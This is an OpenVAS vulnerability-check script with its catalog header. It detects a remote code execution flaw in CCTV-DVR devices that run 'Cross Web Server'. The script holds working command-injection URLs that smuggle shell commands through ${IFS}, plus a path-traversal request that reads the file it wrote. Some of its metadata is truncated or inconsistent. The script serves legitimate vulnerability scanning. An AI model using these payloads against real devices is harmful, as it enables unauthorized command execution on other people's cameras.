Multiple CCTV-DVR Vendors - Remote Code Execution Vulnerability

2016-04-20T00:00:00
ID OPENVAS:1361412562310807674
Type openvas
Reporter Copyright (C) 2016 Greenbone Networks GmbH
Modified 2018-10-24T00:00:00

Description

The host is running a CCTV-DVR system, which is prone to remote code execution vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_multiple_cctv_dvr_remote_code_exec_vuln.nasl 12051 2018-10-24 09:14:54Z asteins $
#
# Multiple CCTV-DVR Vendors - Remote Code Execution Vulnerability
#
# Authors:
# Kashinath T <tkashinath@secpod.com>
#
# Copyright:
# Copyright (C) 2016 Greenbone Networks GmbH http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.807674");
  script_version("$Revision: 12051 $");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"$Date: 2018-10-24 11:14:54 +0200 (Wed, 24 Oct 2018) $");
  script_tag(name:"creation_date", value:"2016-04-20 15:15:28 +0530 (Wed, 20 Apr 2016)");
  script_name("Multiple CCTV-DVR Vendors - Remote Code Execution Vulnerability");

  script_tag(name:"summary", value:"The host is running a CCTV-DVR system,
  which is prone to remote code execution vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP POST request and check
  whether it is possible to write a file into the server.");

  script_tag(name:"insight", value:"The flaw is due to an improper validation
  in implementation of the HTTP server.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary script code in a user's browser session and
  allows any remote user to read configuration files from the application.");

  script_tag(name:"affected", value:"For Affecfted vendors,
  please");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"qod_type", value:"remote_vul");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/39596");
  script_xref(name:"URL", value:"http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2016 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl");
  script_mandatory_keys("Cross_Web_Server/banner");
  script_require_ports("Services/www", 82);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

nmsPort = get_http_port(default:82);

banner = get_http_banner(port: nmsPort);
if(!banner || ("Server:Cross Web Server" >!<  banner))exit(0);

url = '/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js';

req = http_get(item:url, port:nmsPort);
buf = http_keepalive_send_recv(port:nmsPort, data:req);

if(buf && "Cross couldn't find this file" >< buf)
{
  req = http_get(item:"/../../../../../../../mnt/mtd/test", port:nmsPort);
  buf1 = http_keepalive_send_recv(port:nmsPort, data:req, bodyonly:TRUE);

  if("1" >< buf1 && strlen(buf1) == 2)
  {
    report = report_vuln_url(port:nmsPort, url:url);
    security_message(port:nmsPort, data:report);

    req = http_get(item:"/language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js", port:nmsPort);
    buf = http_keepalive_send_recv(port:nmsPort, data:req);

    exit(0);
  }
}